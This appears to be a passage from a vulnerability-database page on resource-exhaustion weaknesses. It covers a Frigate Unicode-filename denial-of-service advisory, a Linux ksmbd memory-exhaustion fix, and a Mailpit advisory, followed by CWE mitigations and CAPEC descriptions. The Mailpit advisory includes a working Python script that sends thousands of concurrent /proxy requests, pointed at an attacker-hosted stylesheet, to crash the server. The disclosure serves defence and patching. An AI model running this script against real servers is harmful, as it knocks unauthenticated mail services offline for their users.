\u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C9-L684C59)\n \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_rename(file_name_current, file_name_new: str):\n safe_file_name_current = secure_filename(\n \u003cstrong\u003eexport_filename_check_extension(file_name_current)\u003c/strong\u003e\n )\n file_current = os.path.join(EXPORT_DIR, safe_file_name_current)\n \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C42-L705C88)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003e )\n\n safe_file_name_new = secure_filename(\u003cstrong\u003eexport_filename_check_extension(file_name_new)\u003c/strong\u003e)\n file_new = os.path.join(EXPORT_DIR, safe_file_name_new)\n\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C38-L682C51) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C42-L705C88).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 5 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C38-L682C51)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e\n @MediaBp.route(\"/export/\u0026lt;file_name_current\u0026gt;/\u0026lt;file_name_new\u0026gt;\", methods=[\"PATCH\"])\n def export_rename(file_name_current, \u003cstrong\u003efile_name_new\u003c/strong\u003e: str):\n safe_file_name_current = secure_filename(\n export_filename_check_extension(file_name_current)\n \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C74-L705C87)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e )\n\n safe_file_name_new = secure_filename(export_filename_check_extension(\u003cstrong\u003efile_name_new\u003c/strong\u003e))\n file_new = os.path.join(EXPORT_DIR, safe_file_name_new)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e\n\n def export_filename_check_extension(\u003cstrong\u003efilename\u003c/strong\u003e: str):\n if filename.endswith(\".mp4\"):\n return filename\n \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L669C16-L669C24)\n \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_filename_check_extension(filename: str):\n if filename.endswith(\".mp4\"):\n return \u003cstrong\u003efilename\u003c/strong\u003e\n else:\n return filename + \".mp4\"\n \u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C42-L705C88)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e )\n\n safe_file_name_new = secure_filename(\u003cstrong\u003eexport_filename_check_extension(file_name_new)\u003c/strong\u003e)\n file_new = os.path.join(EXPORT_DIR, safe_file_name_new)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 5 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C38-L682C51)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e\n @MediaBp.route(\"/export/\u0026lt;file_name_current\u0026gt;/\u0026lt;file_name_new\u0026gt;\", methods=[\"PATCH\"])\n def export_rename(file_name_current, \u003cstrong\u003efile_name_new\u003c/strong\u003e: str):\n safe_file_name_current = secure_filename(\n export_filename_check_extension(file_name_current)\n \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C74-L705C87)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e )\n\n safe_file_name_new = secure_filename(export_filename_check_extension(\u003cstrong\u003efile_name_new\u003c/strong\u003e))\n file_new = os.path.join(EXPORT_DIR, safe_file_name_new)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e\n\n def export_filename_check_extension(\u003cstrong\u003efilename\u003c/strong\u003e: str):\n if filename.endswith(\".mp4\"):\n return filename\n \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L671C16-L671C33)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e return filename\n else:\n return \u003cstrong\u003efilename + \".mp4\"\u003c/strong\u003e\n\n\n \u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C42-L705C88)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e )\n\n safe_file_name_new = secure_filename(\u003cstrong\u003eexport_filename_check_extension(file_name_new)\u003c/strong\u003e)\n file_new = os.path.join(EXPORT_DIR, safe_file_name_new)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C38-L728C80)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\ndef export_delete(file_name: str):\n safe_file_name = secure_filename(\u003cstrong\u003eexport_filename_check_extension(file_name)\u003c/strong\u003e)\n file = os.path.join(EXPORT_DIR, safe_file_name)\n\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L727C19-L727C28) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C38-L728C80).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 5 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L727C19-L727C28)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e\n @MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\n def export_delete(\u003cstrong\u003efile_name\u003c/strong\u003e: str):\n safe_file_name = secure_filename(export_filename_check_extension(file_name))\n file = os.path.join(EXPORT_DIR, safe_file_name)\n \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C70-L728C79)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\n def export_delete(file_name: str):\n safe_file_name = secure_filename(export_filename_check_extension(\u003cstrong\u003efile_name\u003c/strong\u003e))\n file = os.path.join(EXPORT_DIR, safe_file_name)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e\n\n def export_filename_check_extension(\u003cstrong\u003efilename\u003c/strong\u003e: str):\n if filename.endswith(\".mp4\"):\n return filename\n \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L669C16-L669C24)\n \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_filename_check_extension(filename: str):\n if filename.endswith(\".mp4\"):\n return \u003cstrong\u003efilename\u003c/strong\u003e\n else:\n return filename + \".mp4\"\n \u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C38-L728C80)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\n def export_delete(file_name: str):\n safe_file_name = secure_filename(\u003cstrong\u003eexport_filename_check_extension(file_name)\u003c/strong\u003e)\n file = os.path.join(EXPORT_DIR, safe_file_name)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 5 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L727C19-L727C28)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e\n @MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\n def export_delete(\u003cstrong\u003efile_name\u003c/strong\u003e: str):\n safe_file_name = secure_filename(export_filename_check_extension(file_name))\n file = os.path.join(EXPORT_DIR, safe_file_name)\n \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C70-L728C79)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\n def export_delete(file_name: str):\n safe_file_name = secure_filename(export_filename_check_extension(\u003cstrong\u003efile_name\u003c/strong\u003e))\n file = os.path.join(EXPORT_DIR, safe_file_name)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e\n\n def export_filename_check_extension(\u003cstrong\u003efilename\u003c/strong\u003e: str):\n if filename.endswith(\".mp4\"):\n return filename\n \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L671C16-L671C33)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e return filename\n else:\n return \u003cstrong\u003efilename + \".mp4\"\u003c/strong\u003e\n\n\n \u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C38-L728C80)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\n def export_delete(file_name: str):\n safe_file_name = secure_filename(\u003cstrong\u003eexport_filename_check_extension(file_name)\u003c/strong\u003e)\n file = os.path.join(EXPORT_DIR, safe_file_name)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1346C46-L1346C55)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003edef preview_thumbnail(file_name: str):\n \"\"\"Get a thumbnail from the cached preview frames.\"\"\"\n safe_file_name_current = secure_filename(\u003cstrong\u003efile_name\u003c/strong\u003e)\n preview_dir = os.path.join(CACHE_DIR, \"preview_frames\")\n\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1344C23-L1344C32) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1346C46-L1346C55).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 2 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1344C23-L1344C32)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/preview/\u0026lt;file_name\u0026gt;/thumbnail.jpg\")\n @MediaBp.route(\"/preview/\u0026lt;file_name\u0026gt;/thumbnail.webp\")\n def preview_thumbnail(\u003cstrong\u003efile_name\u003c/strong\u003e: str):\n \"\"\"Get a thumbnail from the cached preview frames.\"\"\"\n safe_file_name_current = secure_filename(file_name)\n \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1346C46-L1346C55)\n \u003cpre\u003e\u003ccode class=\"python\"\u003edef preview_thumbnail(file_name: str):\n \"\"\"Get a thumbnail from the cached preview frames.\"\"\"\n safe_file_name_current = secure_filename(\u003cstrong\u003efile_name\u003c/strong\u003e)\n preview_dir = os.path.join(CACHE_DIR, \"preview_frames\")\n\n \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n\n\n## Impact\n\n* Application-level Denial of Service, the web app would hung undefinetly and not process any further request due to the use of the malicious payload.\n \n\n## Mitigation\n\n* Limiting the length of the incoming filename, similar to this commit [fix](https://github.com/django/django/commit/048a9ebb6ea468426cb4e57c71572cbbd975517f).\n \n\n## References\n\n* Similar to [CVE-2023-46695](https://github.com/advisories/GHSA-qmf9-6jqf-j8fq \"CVE-2023-46695\")",
"id": "GHSA-w4h6-9wrp-v5jq",
"modified": "2024-05-14T20:00:47Z",
"published": "2024-05-09T15:13:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/blakeblackshear/frigate/security/advisories/GHSA-w4h6-9wrp-v5jq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32874"
},
{
"type": "WEB",
"url": "https://github.com/blakeblackshear/frigate/commit/cc851555e4029647986dccc8b8ecf54afee31442"
},
{
"type": "PACKAGE",
"url": "https://github.com/blakeblackshear/frigate"
},
{
"type": "WEB",
"url": "https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1346C46-L1346C55"
},
{
"type": "WEB",
"url": "https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78"
},
{
"type": "WEB",
"url": "https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L646C25-L646C47"
},
{
"type": "WEB",
"url": "https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C9-L684C59"
},
{
"type": "WEB",
"url": "https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C42-L705C88"
},
{
"type": "WEB",
"url": "https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C38-L728C80"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "Malicious Long Unicode filenames may cause a Multiple Application-level Denial of Service"
}
GHSA-W4QV-RRV4-JM4W
Vulnerability from github – Published: 2024-11-19 03:31 – Updated: 2025-10-01 21:30In the Linux kernel, the following vulnerability has been resolved:
ksmbd: check outstanding simultaneous SMB operations
If Client send simultaneous SMB operations to ksmbd, It exhausts too much memory through the "ksmbd_work_cache”. It will cause OOM issue. ksmbd has a credit mechanism but it can't handle this problem. This patch add the check if it exceeds max credits to prevent this problem by assuming that one smb request consumes at least one credit.
{
"affected": [],
"aliases": [
"CVE-2024-50285"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-19T02:16:30Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: check outstanding simultaneous SMB operations\n\nIf Client send simultaneous SMB operations to ksmbd, It exhausts too much\nmemory through the \"ksmbd_work_cache\u201d. It will cause OOM issue.\nksmbd has a credit mechanism but it can\u0027t handle this problem. This patch\nadd the check if it exceeds max credits to prevent this problem by assuming\nthat one smb request consumes at least one credit.",
"id": "GHSA-w4qv-rrv4-jm4w",
"modified": "2025-10-01T21:30:35Z",
"published": "2024-11-19T03:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50285"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0a77d947f599b1f39065015bec99390d0c0022ee"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1f993777275cbd8f74765c4f9d9285cb907c9be5"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e257ac6fe138623cf59fca8898abdf659dbc8356"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W4VJ-R5PG-3722
Vulnerability from github – Published: 2026-05-19 15:53 – Updated: 2026-05-19 15:53Summary
The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.
Details
A remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.
Affected code server/handlers/proxy.go:198-229 server/handlers/proxy.go:52-66 server/handlers/proxy.go:244-313
Go's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw("concurrent map read and map write") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace.
PoC
- Deposit any message with a in the store (SMTP or /api/v1/send, both unauthenticated by default).
- Make a few hundred concurrent requests to /proxy?data=base64(:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.
Skeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct):
# proxy-race.py
import socket, threading, base64, sys
ID = sys.argv[1] # 22-char shortuuid
CSS = "https://attacker.example/big.css"
TOKEN = base64.b64encode(f"{ID}:{CSS}".encode()).decode()
req = (
f"GET /proxy?data={TOKEN} HTTP/1.1\r\n"
f"Host: target:8025\r\n"
f"Connection: close\r\n\r\n"
).encode()
def hit():
try:
s = socket.create_connection(("target", 8025), timeout=10)
s.sendall(req)
while s.recv(8192): pass
s.close()
except Exception: pass
for _ in range(50): # 50 rounds
ts = [threading.Thread(target=hit) for _ in range(300)]
for t in ts: t.start()
for t in ts: t.join()
When the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits:
fatal error: concurrent map read and map write
goroutine 123 [running]:
runtime.throw(...)
github.com/axllent/mailpit/server/handlers.ProxyHandler(...)
server/handlers/proxy.go:216
...
…and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.
Impact
Unauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45712"
],
"database_specific": {
"cwe_ids": [
"CWE-362",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T15:53:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe screenshot/print proxy (/proxy?data=\u2026) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go\u0027s runtime raises fatal error: concurrent map read and map write \u2014 a runtime.throw that is not recoverable by http.Server\u0027s handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.\n\n### Details\nA remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=\u2026 requests against the same message\u0027s CSS URL. Mailpit\u0027s defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.\n\nAffected code\n[server/handlers/proxy.go:198-229](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L198-L229)\n[server/handlers/proxy.go:52-66](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L52-L66)\n[server/handlers/proxy.go:244-313](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L244-L313) \n\nGo\u0027s map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw(\"concurrent map read and map write\") \u2014 throw is not caught by defer recover and is not caught by http.Server\u0027s handler-panic guard. The process exits with a stack trace.\n\n### PoC\n1. Deposit any message with a \u003clink rel=\"stylesheet\" href=\"https://attacker.example/big.css\"\u003e in the store (SMTP or /api/v1/send, both unauthenticated by default).\n2. Make a few hundred concurrent requests to /proxy?data=base64(\u003cid\u003e:https://attacker.example/big.css) \u2014 the attacker\u0027s big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.\n\nSkeleton (set --allow-internal-http-requests only if you\u0027re testing locally \u2014 internal IPs are blocked by safeDialContext in production, which is correct):\n\n```\n# proxy-race.py\nimport socket, threading, base64, sys\n\nID = sys.argv[1] # 22-char shortuuid\nCSS = \"https://attacker.example/big.css\"\nTOKEN = base64.b64encode(f\"{ID}:{CSS}\".encode()).decode()\n\nreq = (\n f\"GET /proxy?data={TOKEN} HTTP/1.1\\r\\n\"\n f\"Host: target:8025\\r\\n\"\n f\"Connection: close\\r\\n\\r\\n\"\n).encode()\n\ndef hit():\n try:\n s = socket.create_connection((\"target\", 8025), timeout=10)\n s.sendall(req)\n while s.recv(8192): pass\n s.close()\n except Exception: pass\n\nfor _ in range(50): # 50 rounds\n ts = [threading.Thread(target=hit) for _ in range(300)]\n for t in ts: t.start()\n for t in ts: t.join()\n```\n\nWhen the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine\u0027s assets[id] = result write, Go\u0027s runtime emits:\n\n```\nfatal error: concurrent map read and map write\n\ngoroutine 123 [running]:\nruntime.throw(...)\ngithub.com/axllent/mailpit/server/handlers.ProxyHandler(...)\n server/handlers/proxy.go:216\n...\n```\n\n\u2026and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.\n\n### Impact\nUnauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).",
"id": "GHSA-w4vj-r5pg-3722",
"modified": "2026-05-19T15:53:52Z",
"published": "2026-05-19T15:53:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-w4vj-r5pg-3722"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/releases/tag/v1.30.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mailpit: Concurrent map read \u0026 write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write)"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
